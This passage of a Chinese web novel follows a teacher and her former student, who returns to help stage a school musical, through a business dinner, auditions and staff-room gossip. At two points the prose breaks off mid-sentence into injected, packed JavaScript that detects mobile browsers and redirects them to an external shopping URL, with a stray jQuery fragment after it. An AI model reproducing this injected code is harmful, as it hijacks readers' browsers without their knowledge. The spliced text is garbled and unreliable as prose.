李知难心下一惊:你这查得也太表面了,这事你也敢提,他分明是头脚领完奖状后脚就差点背处分进少管所。 她看李北辰那边明显表情不大好,出声道:“吴总,是这样,我们学校现在正筹备一个音乐剧,您也知道,高中学校能力有限,想要做好肯定得向您这种专业的机构请教,不知道您有没有意向帮助我们?” 陈校长看着自己没喝完的酒杯,没想到李知难这么不上道地直奔主题了。 吴总略有意外,但仍旧体面地顺应道:“我们当然荣幸之至了,咱们企业一直是愿意和高校合作的,我们和内个A大,B大,一直都有冠名的音乐活动,这对我们来说也是个很好的宣传,之前也想渗透进高中群体,但是毕竟,高中嘛,时间特殊,所以这次陈校长联系我们,我也很惊喜。” “那太好了,咱们就定下来吧?”李知难恨不能两句话就把事谈妥。 “但这里面还有很多细节,李老师是个急脾气啊?这事急不得,咱们边吃边说。”吴总绵中带刚,无形地化解。 “是是是,”陈校长接过话,“我先提一个?” “好,这杯酒,就祝福咱们祖国的花朵。”吴总说着场面话。 打着祖国花朵的名义,一桌觥筹交错。 “说实话,我看李老师有点眼熟。”吴总话愈发多了起来,“我们之前没见过吗?” 李知难:“应该没有。” “那我为什么会觉得你这么眼熟呢?” “吴总,是不是见美女就爱这么说啊?”熟络后,陈校长也开始打起岔。 “不是不是,”吴总摆手,“我对教师天生就有崇拜感,您放心,绝对没有僭越的意思,纯粹是真实想法。” “崇拜感?”陈校长摇了摇头,“我做教育这么多年,咱们这代人,教书育人,那是有着一层高尚的光环的,可现在这帮年轻人,不再这样喽。” “不这样吗?”吴总反问。 陈校长有些感慨:“现在的年轻人眼里,老师就是份工作,扫大街的,收废品的,也是工作,都一样。” “怎么能一样呢,教书育人,春蚕吐丝,园丁耕耘,这必须是高尚的工作。”吴总给他们带起了高帽。 李知难不太赞同,回道:“都是为了养家糊口而已,说不上高尚。归根到底都是职业,如果为了高尚和伟大而做,那本身不就是个悖论么?” 陈校长似是满腔委屈:“现在的社会不一样了,医生,教师,警察,法官,这在咱们当年都是什么,都是崇高的,伟大的,现在年轻人眼里,这些都是受累不讨好的工作,远不如做个明星啊,当个网红啊,搞个金融啊,有吸引力了。”末了,他也不忘把高帽子还回去:“还是吴总厉害,搞企业,从古至今那都是真本事。” “是社会进步得太快了,人就只看见钱了。”吴总附和感叹。 “老师还是不一样的。”李北辰突然开口。 陈校长饶有兴趣问道:“有什么不一样?” “在我什么都不懂的年纪,老师就是我前行的桨,我立定的锚,我脱离苦海的路。”他语气异常坚定。 就连习惯了官腔的陈校长也被这一段突如其来的书面排比句弄得有些恍惚,只讪讪道:“小李同学很文艺啊。” 李北辰转过头,直视着李知难:“李老师可能不记得我了,但是我永远记得李老师。” 李知难被他这样看着,举到一半的橙汁喝也不是,放也不是。 吴总适时地升华了主题:“对对,师恩如山,来,敬师恩。” 气氛再次回归到觥筹交错。 李知难借口去洗手间,离开了他的视线。 洗手间的灯光昏黄,只在镜子前正上方一束耀眼的顶光直直地射下来。她看着镜子里的自己,不由伸手抚了抚那张熟悉又陌生的脸。 岁月从不败美人,但是美人依旧迟暮。她知道自己距离迟暮仍有很久一段路,但是距离年轻的李北辰,更远。 这样一顶光束,将所有面部的轮廓都毫无保留地映在镜子前面,里面的那个人,死气沉沉的。五官还是当年的五官,可眼睛里的东西变了,纹路里的东西变了,肌理里的东西变了。只需要一点点的不同,那生机勃勃就变为死气沉沉。 只需要一顶光,她就原形毕露。 她忍不住拿出化妆品,在脸上又补了补粉底,试图遮盖那些秘密,但是到底是上了一天的班,脸上那层油腻沤着皮肤,什么化妆品都融不进去,越想掩盖越欲盖弥彰。 她有些丧气,忍不住问想镜子里那个一身严肃的女人:“你在干嘛?你想干嘛?” 半晌,她整理好了情绪离开洗手间,出门之间李北辰在一旁沙发椅上低头玩着手机,似乎在等她。她本打算假装没看到回去,但犹豫下还是决定将话说清楚。 “李老师。”李北辰抬头看她。 “李北辰,我很感谢你刚才的话,”李知难道,“但是对我来说,学生和老师之间没有什么恩情。在那几年里,老师掌握着决定的权利,于是,有些学生会把老师捧上神坛,有些会对老师恨之入骨,这都是因为身份地位的特殊性而产生的不可抗拒情结。但是这段缘分注定是有时限的,这也是现代教育的好处。一日为师,终身为父,那都是老话了。在现代教育的框架下,我们可以把其中的道德绑束化解,教师是一份工作,学生也是一份工作,我们是师生,也是另一种形式的同事,我帮助你获得知识,取得成绩,你帮助我完成工作,获取工资,你和我之间没有什么恩。 在你毕业的那一刻,我们的合作关系就结束了,我们的身份再次成为社会上两个独立的人。 既然没有恩,就谈不上什么报恩。你愿意回馈母校,我很欣赏,但是感激是谈不上的。而且这不是件轻松的工作,现在的孩子不像以前那么听话,他们都有自己鲜活的思想,不会做个木偶任由大人摆布,你需要做好心理预期管理。所以你一定要想清楚,回学校帮助我们做音乐剧,你想得到的是什么。” 李北辰打断道:“李老师觉得我想得到什么?” 李知难答:“我不想揣测别人,我只想把事情的各方各面都告诉你,免得你失望。” “李老师觉得我会失望?” “不排除这种可能。” “您不觉得我只是单纯地想帮他们?” “你是吗?” 李北辰调转了话锋:“是不是我出现在您周围,给您添加什么心理负担了?” “我为什么要因为你的出现有心理负担?”李知难不答反问,可仍觉得自己这话有些心虚。 “是我觉得,李老师今天对我的态度有点不一样。”李北辰坦诚答。 李知难有些恼:“怎么,因为我是来求人的,你觉得我态度不够好?” 李北辰:“我确实觉得您对我的态度有些不好。” 李知难拧着眉头抬眼看他。 “但和求不求人没关系,我是觉得您对我的态度和上次见面时不一样了。”他道,“我做了什么让您生气的事情吗?” 李知难说得更直白了些:“你送我花是什么意思?” “……”李北辰没答。 “还有,你那天晚上……”后面的话,李知难突然说不出口了。 你那天晚上……亲我是什么意思? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427791|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来应当是理直气壮的,可她就是哽在了喉间。 李北辰诚恳道:“李老师,要是我哪里做的让您不舒服了,我跟您道歉,是我想的不周到。我以后一定注意。” 我以后一定注意。这话像是班里那些愣头小子闯了祸后说的。可是他体体面面的回答,让李知难反而没法责难:“算了,回去吧,陈校长和吴总还在等。” 饭局终了,四个人从酒楼出来,服务生将吴总的车开了出来,送上钥匙。 “老吴,音响的事就多亏你了啊!我可跟我们奚西老师打保票了,一定给她搞套最好最新的设备!”陈校长此时已经和吴总称兄道弟了,称谓也亲昵许多。 吴总拍着胸脯:“我的就是你的!” 陈校长笑得红光满面,抬头看到门口等候的车,那红光也蔓延到了眼睛里:“老吴,你这车,真新啊,真好啊,真气派啊!”词汇有限的陈校长叹道。 李知难看着停在面前眼熟的迈巴赫。 “前两天刚被撞,才修好,重新喷了个漆,显得新,其实是旧车,开好几年了。” “这车太有派了。”陈校长毫不掩饰羡慕。 李知难诧异道:“吴总,这车是您的?” “是啊,怎么了,李老师也喜欢车?”吴总有些意外。 李知难将视线转到了李北辰身上。 李北辰解释道:“前两天我不小心撞了一下,吴总大人大量没跟我计较。” 李知难再次看回去:“吴总,您没让他赔钱吗?” 吴总大手一挥:“赔什么钱啊,这点小事哪至于赔钱,就我和北辰的关系……” “吴总,代驾到了。”李北辰看着停在车前的蓝马甲,出声提醒道。 “老陈,你不是喜欢我这车么,坐一回?我送你?”吴总提议道,“北辰,那你送送李老师?” 李北辰点头,看着两个半百老头勾肩搭背地上了车。 待只剩他二人走后,李知难推脱道:“你不用送……” 李北辰听出话音,立刻接话道:“我帮您打辆车吧。” 他没有坚持。李知难有些意外,似乎自己对他的揣测总会有些自作多情,可自己对他的放心又总会带来提心吊胆。 “我怕您觉得坐我的车不舒服,”李北辰解释,“我帮您打辆出租车。” 说罢,他起身走向了马路边。 李知难跟了过去:“那辆车你真没赔钱?” 李北辰答:“吴总走保险了,没让我赔。曲老师的钱我也转给吴总了,他说可以,钱够了。” 李知难看着那辆车的尾灯,感叹道:“这吴总,人还挺好的。” “嗯。”李北辰应。“李老师,车到了。”李北辰帮她拉开车门,嘱咐道:“要是您方便的话,到家可以知会我一声。” 李知难突然有些内疚刚才那样的态度对他。 怎么也是以前的学生,不,和他的关系其实要比以前的学生更亲近些,也许正因为这样,自己才会这么着急划清关系。 “要是不方便,微信给我发个表情就行,我不会回复的。”他谨慎地说,顺手将司机的车证连带着司机的脸一起拍了张照片,相机自动的闪光灯功能吓了司机师傅一跳。 司机师傅半是埋怨道:“诶哟我说帅哥,我们不是网约车好嘛,我们正经北京出租车行不行,您把女朋友交给我就放一百二十个心吧,就算她想出事我都不敢让她出事,姆们家上有老下有小还等着我养活呢!” 李北辰有些尴尬。 “来来来,要不我拿着身份证给您照一个,您看行不行?” “走吧师傅。”李知难在后面拍了拍塑料格挡。 车汇入主路,师傅忍不住搭话:“美女,您这男朋友可真行,干刑侦的?” “……”李知难知道他是故意讽刺撒气,便没回应。 师傅自顾自继续道:“不对,不能够,闪光灯都不关,这不是生怕吓不跑坏人么!” “……” “嘿,不爱聊天是不是?得嘞,那我也闭嘴,您休息,昂!”师傅也知趣。 半天没吭声的李知难脑子在琢磨另一件事,想了又想她还是没忍住好奇问道:“师傅,您怎么知道他是我男朋友的?” 师傅见她搭了话,回道:“嗨,瞎蒙呗,蒙对了就对了,蒙错了人家那么大一帅哥,您还能埋怨我不成?我这么说您心里不也高兴么?” “他要是我男朋友,我得高兴?”李知难问。 “您不高兴啊?”师傅回头瞧了她一眼。 李知难:“我不高兴。” 师傅是见过世面的,话锋急忙一转:“怎么着,他是不是人品不好啊?也是,长那么帅的,能有几个好人。” “啊?”李知难被他着进退自如的话术说得不知如何接话了。 师傅也不管这个,自顾自道:“可不么!丫是不是骗钱的小白脸啊!”转脸师傅对他的称谓就从“帅哥”变成了“丫”,“我看他可比您年轻不少,现在年轻人花花肠子多着呢,您可得多个心眼。我们楼之前就有一女的,三十多了,网上聊天,你说网聊能有什么,没成想被人家三说两说,骗走五万多,哭着去警察局报案呢,那能有什么用啊,自己个儿看不清自己个儿那点斤两。” 李知难听着那个陌生姑娘的故事,倒是觉得司机师傅总结的对,自己个儿别看不清自己个儿的斤两。 7. 要是我想多了呢 李北辰来学校报道的第一天,礼堂里传来青少年夸张的起哄声。 李知难红着脸和他站在台上,要是把镜头单单聚焦在他俩身上,还真有些说不清道不明的暧昧。 但只消把镜头再往后稍稍一拉,这暧昧轻而易举就被稀释了。李北辰身边站着奚西,奚西笑的真甜啊,带着女孩蜜桃一样的甜,白里透着粉红的甜,就连李知难余光向旁扫过时,都能被渍到的甜。 年轻的女孩原来是这么美好的吗?她每天跟祖国的花朵们在一起,都未曾有过这样的感悟。奚西身上却像是天然带着似的。 家世良好所孕育出的从容,亲恭友爱所浸润出的自信,挺直的腰板,伸展的脖颈,毫不躲闪的眼神。 所以当台下的孩子们在听到她介绍“这位是我在伯克利的前辈”时起哄,腻歪的嘘声一片时,她一丝怯意也没有。 体面啊,真真儿的体面。 李知难低头思索,自己怕是没办法装出这种体面的,易地而处,自己多半是会心虚的。 “李老师好帅啊!”台下起哄声喊着。 李知难侧脸望向李北辰,他真诚地笑,是另外一种形态的大方,另外一种姿态的体面。 李知难捏起了手指。 介绍宣讲会结束,学生们陆续回教室,奚西叫住了李知难,嘱咐道:“李老师,麻烦您,务必让您班同学积极踊跃一些。” 她早就看上了秦梓轩和穆婷婷,但毕竟角色竞演是公平公开的,她不方便说太多,只好求李知难暗中使劲。 李知难心领神会地点头。 曲子格知道这事的内幕,看着这边的李北辰奚西,那边的秦子轩穆婷婷,不由道:“这美丽的青春全都是人家帅哥美女的,我们这些普通人就只能在旁边做配。” 李知难:“曲老师既然有这种感想,不如给我们班邵冲一个机会,让普通人闪耀一回。” “……那帅哥美女确实优秀,也不能因为人家帅,人家美,就剥夺人家闪耀的权利。”曲子格随手指了指个不起眼的女孩,“你看要是让她当女主角,旁边那个小黑胖儿当男主角,这音乐剧你也不想看了,对不对?” 李知难一脸黑线道:“那是我们班的尤汐涵和吴澄,人俩学习好着呢,我们班平均分就指望他们了,你别以貌取人。” “……”曲子格说话不过脑子,但也意识到刚才自己有些过分了,便换了个话题:“不是,知难,你为什么对邵冲的事儿这么上心啊?” “嗯?”李知难表情有些被戳穿的尴尬,“有么?没有啊?我就是看他是个好苗子。” 曲子格看着远处和小伙伴勾肩搭背的大高个儿男孩,微微皱眉。好苗子?这种愣头愣脑的傻大个每个班都有几个,曲子格实在看不出这个苗子有什么不同。 教室内。 “刚才的宣讲会大家也听到了,如果有感兴趣的同学,就到班长那里报名,”李知难说道,“别害羞啊,这可是难得一次的机会,以前很多同学都嫌唱红歌老土,现在大家有机会改变咱们学校文艺表演的历史,想不想名字和奖杯一起放在校史馆里,就全看大家的表现了。” 少年少女的心,总是充满了跃跃欲试,却缺少行动的勇气,李知难需要适时推一把。 “隔壁几个班的文艺骨干都报名了,咱们三班能不能一血去年红五月的垫底之耻,就全仰仗大家了。”李知难道:“邵冲,你带个头,先把名字写上吧。” 邵冲被点名后有些喜出望外,他得得瑟瑟地点头:“报告李老师,保证完成组织交代的任务。” “好,先收拾下情绪,准备上课吧。” 音乐剧表演在学校里搞得风生水起,光是面试就百十来口子学生报名,也不知道谁传出去的风声,说李北辰是可能音乐的星探,这次音乐剧有可能成为大家进入娱乐圈的踏板。这消息一传出去,每个人都感觉找到了脱离高考魔掌,走向人生巅峰的捷径。 “李老师,那位小李老师是不是您以前的学生啊?”小道消息传的快,邵冲来找李知难问个题的功夫,就开始了挂羊头卖狗肉。 “别打听那些没用的。”李知难道。 “那就是了。”邵冲大智慧没有,小聪明确是一堆。 “你又知道了?” “李老师,您让我报名,是不是知道什么内幕消息了?” “什么?” “可能音乐是不是看中了我?” “你自己觉得呢?”李知难忍不住向后坐了坐,双臂交叉在胸前。 “老师,不会是真看上我了吧!”邵冲没有悟出她的真意,眼睛瞪得老大。 “对,看上你了,怎么着,打算以后当明星去?” “也不是不行啊,我这个身高是不是,也特别有优势啊……” “那你好好表现吧,音乐剧选上你,你演好了,明天就出道了。”李知难半是阴阳怪气地说。 “嘿嘿。”被李知难这么一说,邵冲终于不信了。 李知难到底还是给他指了条明路:“最近多去曲老师眼前晃晃,篮球比赛还得是曲老师说了算。” 邵冲一脸不情愿:“曲老师都说了,每个班最多出一个,咱们班有秦梓轩,压根轮不上我。” “出道都能轮上你,篮球比赛轮不上?”李知难怒其不争。 “出道那道路千万条呢,篮球比赛就5个人,我也不是那么没皮没脸啊……” 李知难嘱咐:“你多去嘴甜点,机会是留给有准备的人的。” 礼堂内,学生们里叽叽喳喳地坐在下面,看着舞台上一组十人展示特长。 大都是选择唱歌跳舞,偶尔会有另辟蹊径的,在台上打段快板,讲个绕口令,虽然水平都是业余爱好者程度,可有了年轻活力,看起来也不算无聊。 李北辰从上午就开始在礼堂面试,几小时没挪动地方,仍看得饶有兴致。 “师哥,要是累了就歇歇?”奚西的肚子先敲起了鼓,提议道。 “没事。”李北辰喝了口水:“总得让他们唱完吧?孩子们排半天了。” “该吃饭了,等吃完饭下午再继续吧。”奚西对着后面喊道:“同学们,休息一个小时,咱们下午继续好不好,先去吃饭,饿着肚子高音可唱不上去。” 学生们听话地散开了,奚西的肚子也适时地传来一阵雷鸣,李北辰笑着看她。 奚西给自己找着台阶道:“这位师哥同志工作态度不错,但要学会适当放松。走,我请你吃饭去。” “谢谢奚西老师。”李北辰微笑点头。 “师哥,”两个人收拾着文件夹,奚西随口问道,“我听说你内歌的版权卖了?” “呃?嗯。”他似乎不太愿意提这件事。 “恭喜啊。”奚西道。 “谢谢。” “给谁唱了?”奚西仍旧是忍不住的好奇。 “不知道,要公司定。” “哦。”她识趣地点了点头,“我先把东西放小办公室再去食堂,你在这儿等我一下。” “好。” 礼堂的空气才安静了下来没一会儿,就听外面又有学生走进来。礼堂在午休时很受欢迎,总有同学图凉快来蹭免费空调。 外面一群男孩吵吵嚷嚷的声音响起,本是不大的音量,可礼堂圆弧形的结构,倒是让人在最角落也能将内容听得清楚真切。 “邵冲!你丫行啊!” “嘘,小点声。” “你说实话,你妈是不是给李老师送礼了?” “怎么可能!” “那李老师为什么对你这么好啊?” “啊?好嘛?”男孩的声音充满了欲盖弥彰。 “怎么不好,音乐剧给你报名,篮球队给你走后门,曲老师都说了,李老师缠着她让你进篮球队,你到底给李老师灌什么迷药了?” “可能我长得帅呗!”男孩得意道。 “我说真的呢,你丫跟李老师是不是有点什么啊?” “别胡说!”男孩正经了些,但又忍不住道:“不过,你也觉得李老师对我跟别人不一样吧?” “偏心眼你偏得多明显啊。”大家附和。 邵冲:“是么?” “月考你那成绩,李老师不呲儿你就算了,还安慰你,就没听说过学生考不好老师上赶着安慰的。” 邵冲的脸上藏不住事,开始泛红。 “咱俩你跟我说实话,你们家是不是给李老师送礼了?” “真没有,”邵冲急赤白脸道,“你说我行,你别污蔑李老师。” “邵冲,什么情况?” “什么呀!” “你不是喜欢李老师吧?” “你管着么?”邵冲脑道。 “李老师跟你妈差不多大了都!”周围人取笑。 男孩认真解释道:“我妈跟李老师差十几岁呢!” “你也跟李老师差十几岁呢!”周围人呛了回去。 男孩的声音有点着急:“你这嘴要是不会说话就别说啊!”一群人因为男孩的气恼匆匆来又匆匆去。 “师哥?” “师哥?走啊?”奚西将文件规整好,回来叫李北辰一起吃饭,可她喊了两声,李北辰仍旧坐在原地没有回应。 她走上前,敲了敲桌子:“想什么呢?” 李北辰回过神,道:“好了?那我们走吧。” 奚西点头,二人来到了另一侧的员工食堂。 “这是教师食堂吗?”李北辰左右探看。 “没来过吧?”奚西道,“你虽然以前是这里的学生,但教师食堂是不是没解锁过?” 李北辰点头。 “伙食是一样的,你也没什么损失。”奚西道,“就是不用抢位置。” 李北辰点头,眼神仍旧左右看。 “看什么呢?”奚西问。 “周围没什么老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427792|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师。”李北辰答。 “你也不看看现在都几点了。”奚西答。 李北辰似乎没什么胃口,匆匆吃过后便再次回到了礼堂,准备下午的面试。 第一位试唱结束,李北辰看了眼舞台上男孩子熟悉的脸。 “他水平不太行,刷掉吧。”李北辰小声对奚西道。 奚西拉住了他打算扔到一边的面试表:“师哥,等一下。给个面子,这个给个配角吧。” 李北辰皱眉看她。 “不看僧面看佛面,”奚西道,“这个学生李老师交代过,让给个配角或者演个树做点体力活都行,别给他刷了。” 李……知难交代的? “我去趟洗手间。”李北辰起身。 奚西才想提醒洗手间在礼堂侧面就有,但是看李北辰大步流星的样子,想必他对这里如此熟悉,说不定也有自己熟悉的洗手间呢。 “邵冲是吧?”她看着台上还在等结果的男孩。 “老……老师怎么走了?”邵冲道,“我唱的也没这么难听吧?” 奚西笑道:“行了,你等消息吧。” 邵冲摸了摸后脑勺,道:“好嘞。谢谢奚老师!” 另一边,李知难照例躲在曲子格的单人间里,她听见门口有动静,以为是曲子格,便道:“你不是下午有课……” “李老师。”门口站着李北辰,礼貌地同他打招呼。 “嗯。”她点头算是回应,说实话,她不知道怎么称呼他合适。叫他李北辰,他已经不是自己的学生,甚至是自己要去巴结的校外赞助,这么直呼其名多少不礼貌。叫他李老师,她也喊不出来,他连教师资格证都没有,凭什么让她开口喊老师。而至于其他的称呼,她更是琢磨都不想琢磨。 “来找曲老师?”李知难问道。 “找您。”李北辰答。 “那你进来说吧。”她道,见他走过来,门再次顺势关上了。 上次若是不知缘由的意外,这次就是故意了。 “李老师,邵冲是您的学生?”李北辰坐到了她对面,空气再次因为多出一个人而压缩。 “呃,是。怎么了?”李知难反问道。 “他来面试音乐剧。” “这事我知道,怎么了?” “他歌唱得很好吗?” “这个我应该问你吧?”李知难一脸莫名其妙。 “那您问。”李北辰就坡下驴。 李知难不解地看着他,可他的眼神满是鼓励,像是一个老师在鼓励学生。 “他歌唱的好吗?”李知难狐疑开口。 “特别不好。”李北辰换了个表情,严肃正经。 “哦。”李知难答。 “那您觉得我应该让他演音乐剧吗?”李北辰又问。 李知难大概知道他的来意了,便道:“邵冲这个孩子有些特殊,要是你方便的话……” “哪里特殊?”李北辰追问。 “这个我不方便多说,反正……” “您总是这样吗?” “什么?” “照顾学生。”李北辰答,明明是正正经经的四个字,从他嘴里说出来,李知难就是觉得变了味道。 她清了清嗓子,端正回道:“这是我做老师的责任。” “那要是学生想多了呢?”李北辰步步紧逼,一个问题接着一个问题,全然没有之前礼貌懂事的模样。 “我的学生不会想多。”李知难答。 “万一呢?” “没有万一。这种假设既侮辱我,也侮辱我的学生。”李知难答。 “可他就是想多了。”李北辰一刻也没等,堵在她的话尾音上回。 李知难知道他在等什么,也知道他想要听什么。这问题她曾经回答过一次,可时转境迁,今日的她断然不会像曾经一样再说出那种不负责任的负气话。 “他就是想多了。”李北辰不死心地又重复了一遍。 李知难起身,走向了门口。 李北辰坐定不动,门是锁上的,从他那天上午第一次来就知道这事,也正是料定了她跑不了,他才敢这般肆无忌惮地找她说胡话。 然而只是几下微响,门开了。 李北辰诧异地看着李知难的背影,以及那串垂在她食指关节处,来回晃动的钥匙。 快放学时,李知难接到曲子格的电话,那边满是声讨:“我不是把钥匙给你了吗?” “是啊。”李知难不知她在说什么。 “那你还把我门锁给砸了干嘛?” “我没……”她才说一半,便将话咽了回去,“我给你换个新的吧。” 就当是还当年口无遮拦的债好了。 过去总是会在最意想不到的时刻,来讨曾经口不择言的债。 “要是我想多了呢?”少年的李北辰不甘心地问她。 她满脸冷漠:“那是你自己的问题。” 8. 任性是少年的权利 面试了几天,音乐剧男主角迟迟定不下来。 “已经没有别的学生了。”李北辰翻着报名表,看着不肯下决心的奚西,劝道:“这又不是百老汇,你不能要求太高。” “你再等等我,我再争取最后一次。”奚西道,说完疾跑出了礼堂,直奔李知难的办公室。 恰逢放学时间,办公室算是安静,奚西一进门就挽住了李知难的胳膊:“李老师救救我,秦梓轩一定要帮我再争取一下!” 李知难被她搂得严实,安慰地摸了摸她的头:“奚西老师,不是我不帮你,是他……不太喜欢唱歌。” 秦梓轩的动员工作她私下也试过几回,每每都是碰个硬钉子。常言道,好言难劝讨死的鬼,他自己都不想争取的事,我是他老师又不是他妈,何必上赶着讨不痛快。 奚西道:“才不是!我听过他唱歌,自弹自唱!弹吉他都能学会的孩子,怎么可能不喜欢唱歌?他的声音条件真的很好,最主要的是,他的气质条件很符合我的男主角。” 李知难心道,你直接说他长得帅得了。但架不住小甜豆搂着自己撒娇,便只好点头应道:“好好好,我再去做做工作。” 奚西看她正收拾着东西,顺口问道:“准备下班?” 李知难点头。 “听说李老师有车一族,方便送我到地铁站吗?”奚西自来熟,不蹭白不蹭地占着便宜。 李知难点头,她急忙挽起李知难手臂:“走,跟我一块收拾东西去,我怕你抛弃我先跑了。” 李知难被她逗笑,任由她挽着自己去了音乐教室。才到门口,正巧碰上李北辰从里面走出来。 “师哥走了?”奚西打着招呼。 “嗯。”李北辰礼貌点头。 “那下周见!”奚西道。 “好,李老师再见。”李北辰对她一视同仁地点了点头。 “呃,再见。”李知难当下只觉得别扭。 奚西并没有察觉出异样,急匆匆收拾了包,准备和李知难一同离开。 路上李知难忍不住旁敲侧击:“奚西老师,李北辰,是你师哥啊?” “嗯,我们俩一个导师。”奚西回答道。 “难怪关系这么好。”李知难话里有话地应道。 奚西也没听出话里的文章,道:“当然了,大学四年多亏师哥提点我,我们导师可变态了,北辰师哥是我们当时那一波师弟师妹的活菩萨。” “他……很优秀吗?”李知难问道。 奚西竖起了拇指:“是非常优秀。” “我……也没听说过他。”李知难答。 奚西:“他主要是做制作编曲,在业内特别有名的。” “哦。” “其实师哥写的歌超级棒,不过他有点艺术家的架子,有的歌还不肯卖,要不然早就大火了,你想凭借他的这副皮囊,怎么不得是个大明星?” “为什么?”李知难不解。 “为什么?因为他……帅啊?”奚西有点不明白李知难的逻辑。 “我是说,为什么他不肯卖?”李知难解释。 “这个我也不知道,只能解释为艺术家的洁癖吧。”奚西道,“其实他们这行,写了歌卖了,钱赚了,名气有了,之后转幕前也容易些。但是他不想,以他现在的身份,公司也不会捧他,就做个无名的幕后工作者,多少有些可惜。” “哦。” 奚西像是突然想起来什么,道:“不过他前一阵倒是卖了一首。那首曲子很不错,之前有人高价要买来着,但他就是不肯卖,不知道为什么,前一阵竟然给卖了。” “是么?” “嗯,他说那个曲子对他很重要,不肯卖的一直。” “那怎么现在又卖了?” 奚西摇头:“谁知道,可能艺术家也得吃饭吧,那首歌卖了不少钱,没准儿是老吴的工作做通了。” 李知难心中有些打鼓,道:“你知不知道是什么时候的事?” “就前不久,好像是上个月七号吧?”奚西想了想,听到这个消息那天正好是她入职的日子,所以印象格外深刻。 李知难翻了翻手机,她撞李北辰车那天,恰好是六号晚上。 第二天早自习才结束,李知难恰好碰到秦梓轩来办公室交作业,顺便叫住了他:“秦梓轩,音乐剧你没报名?” “嗯。”秦梓轩应。 “怎么没报呢?” “我没时间。” “我听曲老师说,篮球队你报名了。” “是。” “这不是挺有时间的么。” 秦梓轩有点脑,但又不敢发泄,便问:“李老师,不报名违反校规么?” “不违反。”李知难通情达理地回答。 “哦。”他觉得自己似乎委婉又直接地解决了问题。 李知难心道,看来是要跟我梗起来了。她以退为进道:“当然,你不想表演,我肯定也不能强迫你。” “那我能走了吗?”秦梓轩问。 “能,顺便帮我把这个名单给奚老师送过去吧?”李知难递过一张纸,上面是奚西提供的备选名单,她算准了秦梓轩看完得回来找她,故意道:“还是说让你帮我跑个腿也是为难你了?” 秦梓轩接过纸,态度缓和了些:“对不起老师,我知道了。” 他拿着那张纸便往外走。 李知难悠哉地喝茶等。 果不其然,没多会儿,男孩又在门口喊了“报告”。 “还有事?”李知难明知故问。 秦梓轩这回没了刚才的浑不吝劲儿,整个人别别扭扭地凑了过来。 “老师,穆婷婷……没选上?”秦梓轩脸红着问。 “对。” “为什么?” 李知难答:“她太高了,找不着跟她配戏的男主角,王子然身高和她不搭,就换了个个子矮点的女生,当然唱功条件都不如穆婷婷,但是没办法。” 秦梓轩不服气地质问道:“凭什么因为别人的问题就要连累她……” 李知难道:“因为音乐剧是一个集体,不是个人秀,既然不是个人秀,那就不能全按照个人的意愿来。” 秦梓轩赌气道:“那我现在就去报名。” 李知难打断了他:“报名早结束了,名单都出来了,你去哪?为了你一个人破例吗?你这样对别的同学不公平。” “可您刚才不还……”秦梓轩急得有些口不择言,道:“那您把邵冲硬塞进球队,就对别的学生公平了?” 李知难皱着眉头看他,没想到他会选择这种方式。 秦梓轩脑着气道:“我不知道您是喜欢他,还是喜欢他家长送的好处,但是我觉得……” “秦梓轩。”李知难放下了水杯,那突如其来的严厉让秦梓轩不由噤声:“我再给你一次机会,你把刚才的话想清楚了再重新说。” “李老师对不起,我错了。”秦梓轩老实道歉。 “想参加就自己去找奚老师,自己去争取。邵冲怎么样,和你秦梓轩无关。你自己遇到了问题,首先想到的就是去别人身上找理由吗?” 秦梓轩低头没有回答。 李知难翻了白眼,无语道:“赶紧去吧,一会儿奚西老师上课了。” 秦梓轩点了点头转身离开。 午饭时,曲子格啃着李知难打回来的红烧鸡块,边吃边怨道:“我就不明白,人家也不领你的情,你上赶着干什么……” 李知难撇了撇嘴:“他们是孩子,我是成年人。” “所以呢?他们就能胡说八道胡作非为了?”曲子格反问。 李知难叹了口气:“任性本来就是少年的权力。” 曲子格认真道:“知难,有件事我必须得提醒你一下。” “嗯?” “你对邵冲,多注意点,那孩子太跳,没脑子。”曲子格嘱咐道。 李知难摇了摇头:“他不是坏孩子,只是单纯。” 曲子格:“单纯和坏也没有那么清晰的界定。还有,你们班章乐怡,就那个跳芭蕾舞的小女孩,你也多注意点。” “她又怎么了?”李知难不知道怎么一顿饭的功夫,自己班里就出了这么多需要“注意”的情况。 曲子格思索半天,隐晦道:“我看她从吴思齐办公室里走出来了。” 李知难出声警告道:“她是物理课代表,你可别瞎说。” 曲子格指了指自己胸口:“物理课代表也不能扣子解到这儿去老师办公室吧?” “你想多了吧?”李知难道,兴许只是意外。 曲子格摇头:“凭我多年的经验,就她那表情,肯定有点什么。” 李知难想了想,随手拿起了颗苹果,准备离开。 “你干嘛去啊?”曲子格在后面问道。 “解决问题。”李知难答。 物理办公室内只有吴思齐一个人,李知难走过去,将苹果放在了他的办公桌上。 “呃,”吴思齐从教案中抬起头来,客气道:“李老师。” 李知难指了指苹果:“一天一苹果,医生远离我。” 吴思齐尴尬地点了点头:“谢……谢。” 他还等着李知难走,谁成想她捞了把椅子,顺势坐了下来。 “吴老师,结婚了吗?”她开口便问了个让人不大舒服的问题。 吴思齐有些戒备地回道:“还……没。” “那有女朋友了吧?”她继续问。 “也没有。” “喜欢什么样的啊?” 吴思齐不明白,他怎么看也不觉得眼前的李老师像是会打听这些事情的人,但自己毕竟是新人,纵使有些不舒服,还是老实回道:“我还没想好。” “喜欢年龄大的还是小的?”李知难愈发直白。 